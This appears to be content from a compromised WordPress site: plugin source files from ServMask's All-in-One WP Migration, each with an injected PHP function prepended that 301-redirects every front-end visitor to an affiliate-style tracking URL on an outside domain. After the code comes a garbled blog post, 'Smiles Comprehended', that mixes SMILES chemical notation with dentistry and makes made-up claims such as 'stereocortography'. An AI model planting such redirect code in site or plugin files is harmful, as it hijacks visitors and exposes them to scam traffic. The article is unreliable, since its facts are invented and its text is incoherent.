function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Extractor extends Ai1wm_Archiver { /** * Total files count * * @type int */ protected $total_files_count = null; /** * Total files size * * @type int */ protected $total_files_size = null; /** * Overloaded constructor that opens the passed file for reading * * @param string $file_name File to use as archive */ public function __construct( $file_name ) { // Call parent, to initialize variables parent::__construct( $file_name ); } public function list_files() { $files = array(); // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Store the position where the file begins - used for downloading from archive directly $data['offset'] = @ftell( $this->file_handle ); // Skip file content, so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } $files[] = $data; } } return $files; } /** * Get the total files count in an archive * * @return int */ public function get_total_files_count() { if ( is_null( $this->total_files_count ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_count; } /** * Get the total files size in an archive * * @return int */ public function get_total_files_size() { if ( is_null( $this->total_files_size ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_size; } /** * Extract one file to location * * @param string $location Destination path * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param array $old_paths Old replace paths * @param array $new_paths New replace paths * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_one_file_to( $location, $exclude_files = array(), $exclude_extensions = array(), $old_paths = array(), $new_paths = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // Read file header block if ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should exclude file $should_exclude_file = false; // Should we skip this file by name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_exclude_file = true; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_exclude_file = true; break; } } // Do we have a match? if ( $should_exclude_file === false ) { // Replace extract paths for ( $i = 0; $i < count( $old_paths ); $i++ ) { if ( strpos( $file_path . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $file_name = substr_replace( $file_name, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); $file_path = substr_replace( $file_path, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); break; } } // Escape Windows directory separator in file path if ( path_is_absolute( $file_path ) ) { $file_path = ai1wm_escape_windows_directory_separator( $file_path ); } else { $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); } // Escape Windows directory separator in file name if ( path_is_absolute( $file_name ) ) { $file_name = ai1wm_escape_windows_directory_separator( $file_name ); } else { $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); } // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } } } } return $completed; } /** * Extract specific files from archive * * @param string $location Location where to extract files * @param array $include_files Include files by name * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_by_files_array( $location, $include_files = array(), $exclude_files = array(), $exclude_extensions = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // We read until we reached the end of the file, or the files we were looking for were found while ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should include file $should_include_file = false; // Should we extract this file by name? for ( $i = 0; $i < count( $include_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $include_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = true; break; } } // Should we skip this file name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = false; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_include_file = false; break; } } // Do we have a match? if ( $should_include_file === true ) { // Escape Windows directory separator in file path $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); // Escape Windows directory separator in file name $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file and remove it from the array if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } } } return $completed; } /** * Extract file to * * @param string $file_name File name * @param array $file_size File size (in bytes) * @param array $file_mtime File modified time (in seconds) * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Seekable_Exception * @throws \Ai1wm_Not_Readable_Exception * @throws \Ai1wm_Quota_Exceeded_Exception * * @return bool */ private function extract_to( $file_name, $file_size, $file_mtime, &$file_written = 0, &$file_offset = 0 ) { global $ai1wm_params; $file_written = 0; // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, $file_offset, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Set file size $file_size -= $file_offset; // Should the extract overwrite the file if it exists? (fopen may return null for quarantined files) if ( ( $file_handle = @fopen( $file_name, ( $file_offset === 0 ? 'wb' : 'ab' ) ) ) ) { $file_bytes = 0; // Is the filesize more than 0 bytes? while ( $file_size > 0 ) { // Read the file in chunks of 512KB $chunk_size = $file_size > 512000 ? 512000 : $file_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { if ( $file_size > 512000 ) { $chunk_size += ai1wm_crypt_iv_length() * 2; $chunk_size = $chunk_size > $file_size ? $file_size : $chunk_size; } } // Read data chunk by chunk from archive file if ( $chunk_size > 0 ) { $file_content = null; // Read the file in chunks of 512KB from archiver if ( ( $file_content = @fread( $this->file_handle, $chunk_size ) ) === false ) { throw new Ai1wm_Not_Readable_Exception( sprintf( __( 'Unable to read content from file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Remove the amount of bytes we read $file_size -= $chunk_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { $file_content = ai1wm_decrypt_string( $file_content, $ai1wm_params['decryption_password'], $file_name ); } // Write file contents if ( ( $file_bytes = @fwrite( $file_handle, $file_content ) ) !== false ) { if ( strlen( $file_content ) !== $file_bytes ) { throw new Ai1wm_Quota_Exceeded_Exception( sprintf( __( 'Out of disk space. Unable to write content to file. File: %s', AI1WM_PLUGIN_NAME ), $file_name ) ); } } // Set file written $file_written += $chunk_size; } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } // Set file offset $file_offset += $file_written; // Close the handle @fclose( $file_handle ); // Let's apply last modified date @touch( $file_name, $file_mtime ); // All files should chmoded to 644 @chmod( $file_name, $this->get_permissions_for_file() ); } else { // We don't have file permissions, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } return $completed; } /** * Get file header data from the block * * @param string $block Binary file header * * @return array */ private function get_data_from_block( $block ) { $data = false; // prepare our array keys to unpack $format = array( $this->block_format[0] . 'filename/', $this->block_format[1] . 'size/', $this->block_format[2] . 'mtime/', $this->block_format[3] . 'path', ); $format = implode( '', $format ); // Unpack file header data if ( ( $data = unpack( $format, $block ) ) ) { // Set file details $data['filename'] = trim( $data['filename'] ); $data['size'] = trim( $data['size'] ); $data['mtime'] = trim( $data['mtime'] ); $data['path'] = trim( $data['path'] ); // Set file name $data['filename'] = ( $data['path'] === '.' ? $data['filename'] : $data['path'] . DIRECTORY_SEPARATOR . $data['filename'] ); // Set file path $data['path'] = ( $data['path'] === '.' ? '' : $data['path'] ); // Replace forward slash with current directory separator in file name $data['filename'] = ai1wm_replace_forward_slash_with_directory_separator( $data['filename'] ); // Replace forward slash with current directory separator in file path $data['path'] = ai1wm_replace_forward_slash_with_directory_separator( $data['path'] ); } return $data; } /** * Check if file has reached end of file * Returns true if file has reached eof, false otherwise * * @return bool */ public function has_reached_eof() { return @feof( $this->file_handle ); } /** * Check if file has reached end of file * Returns true if file has NOT reached eof, false otherwise * * @return bool */ public function has_not_reached_eof() { return ! @feof( $this->file_handle ); } /** * Get directory permissions * * @return int */ public function get_permissions_for_directory() { if ( defined( 'FS_CHMOD_DIR' ) ) { return FS_CHMOD_DIR; } return 0755; } /** * Get file permissions * * @return int */ public function get_permissions_for_file() { if ( defined( 'FS_CHMOD_FILE' ) ) { return FS_CHMOD_FILE; } return 0644; } } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Database_File { public static function execute( $params ) { // Set exclude database if ( isset( $params['options']['no_database'] ) ) { return $params; } $database_bytes_written = 0; // Set archive bytes offset if ( isset( $params['archive_bytes_offset'] ) ) { $archive_bytes_offset = (int) $params['archive_bytes_offset']; } else { $archive_bytes_offset = ai1wm_archive_bytes( $params ); } // Set database bytes offset if ( isset( $params['database_bytes_offset'] ) ) { $database_bytes_offset = (int) $params['database_bytes_offset']; } else { $database_bytes_offset = 0; } // Get total database size if ( isset( $params['total_database_size'] ) ) { $total_database_size = (int) $params['total_database_size']; } else { $total_database_size = ai1wm_database_bytes( $params ); } // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Open the archive file for writing $archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) ); // Set the file pointer to the one that we have saved $archive->set_file_pointer( $archive_bytes_offset ); // Add database.sql to archive if ( $archive->add_file( ai1wm_database_path( $params ), AI1WM_DATABASE_NAME, $database_bytes_written, $database_bytes_offset ) ) { // Set progress Ai1wm_Status::info( __( 'Done archiving database.', AI1WM_PLUGIN_NAME ) ); // Unset archive bytes offset unset( $params['archive_bytes_offset'] ); // Unset database bytes offset unset( $params['database_bytes_offset'] ); // Unset total database size unset( $params['total_database_size'] ); // Unset completed flag unset( $params['completed'] ); } else { // Get archive bytes offset $archive_bytes_offset = $archive->get_file_pointer(); // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Set archive bytes offset $params['archive_bytes_offset'] = $archive_bytes_offset; // Set database bytes offset $params['database_bytes_offset'] = $database_bytes_offset; // Set total database size $params['total_database_size'] = $total_database_size; // Set completed flag $params['completed'] = false; } // Truncate the archive file $archive->truncate(); // Close the archive file $archive->close(); return $params; } } Smiles Comprehended – Smile A Day
Smiles Comprehended

One of the things that stand out the most when people talk about dentistry is smiles. They say that a smile is more important than the tooth itself. Yet dentistry has evolved over the years into a very complex field. As time progresses, science and technology used to be further developed and refined, thus better and newer dental procedures were developed and introduced. And with these developments came some pretty advanced procedures that are used in dentistry today.

The simple three-atom line-entry method is just one basic description of the molecular input of dental structure with short, single-letter codes representing the atoms up to six atoms. But with the many methods used to draw attention to teeth today, the focus shifted from the single-letter codes to the more complicated multi-atom, five-atom, and even seven-atom dental drawings. Basically, there are now many ways to draw attention to certain areas or features of the teeth and smiles.

For instance, many dentists now use “dot” technology to draw attention to the central area of the smile with a dot in the middle. There are now two types: the single-atom and the two-atom “dot” that are often combined. The single-atom dots are made of only a single bond between hydrogen atoms. Two-atom dots, on the other hand, are made of two hydrogen bonds between them and often contain other chemical bonds. A third type, known as aromatic bonds, have combinations of single and double bonds between hydrogen atoms. These “affinity bonds” are the basis for identifying the different “flavors” of different species.

smiles

The single-charge system can be more easily recognized by looking at the way that dentists now look for evidence of changes in the concentration of charged particles in a tooth-like region. Dentistry calls this “stereocortography”. Stereocortography is the detection of changes in concentrations of certain particles, such as calcium, oxygen, or glycogen in the enamel of a tooth. By using a technique called “magnetic resonance”, dentists can determine which tooth is smiling by the presence of specific types of charged particles.

Dentists also use a technique called immunofluorescence in identifying smiles. Unlike the single bond system, this method is not based on single atoms. Instead, it works on the concept that different types of cells (including those in the eyes, brain, and immune system) respond to different “antigens” (also known as antibodies). In immunofluorescence, the doctor looks for proteins called “antigens” that bind to an antigens in another type of cell (usually referred to as a foreign protein, or PFP). If the antigens and PFP are in the same type of cell, then the probe is “tagged.”

There are a few things about smiles that make them uniquely ours. One of these is the fact that all human smiles form pairs of hydrogen atoms – which are the building blocks of pairs of carbon atoms – in tandem. The fact that carbon atoms can be joined in the presence of hydrogen atoms (hence the term “atoms” – pluralized for the fact that they are made up of more than one atom, each pair of carbon atoms containing a hydrogen atom) explains why all human smiles look so alike.

Another thing about smiles is that they share a single bond – a chemical bond between two nearby hydrogen atoms – with all other molecules in our bodies. This single bond makes this unique form of bonding uniquely ours. Dentists call this “aromatic” bonding. Just as all other chemical bonds are composed of different kinds of atoms, the unique bonds that compose a smile are composed of different sets of single bond molecules: alpha, beta, gamma, and sigma.

Scientists have studied the chemistry of smiles and how they bond. In fact, they have even studied smiles themselves to see if there might be some underlying pattern to them. In one experiment, for instance, a German team found that smiles which contained more “sites” (places where two or more hydrogen atoms join) were more likely to display matching sets of eyes, faces, and hair. These sorts of studies are still ongoing; in fact, many researchers are currently involved in studies of smiles composition.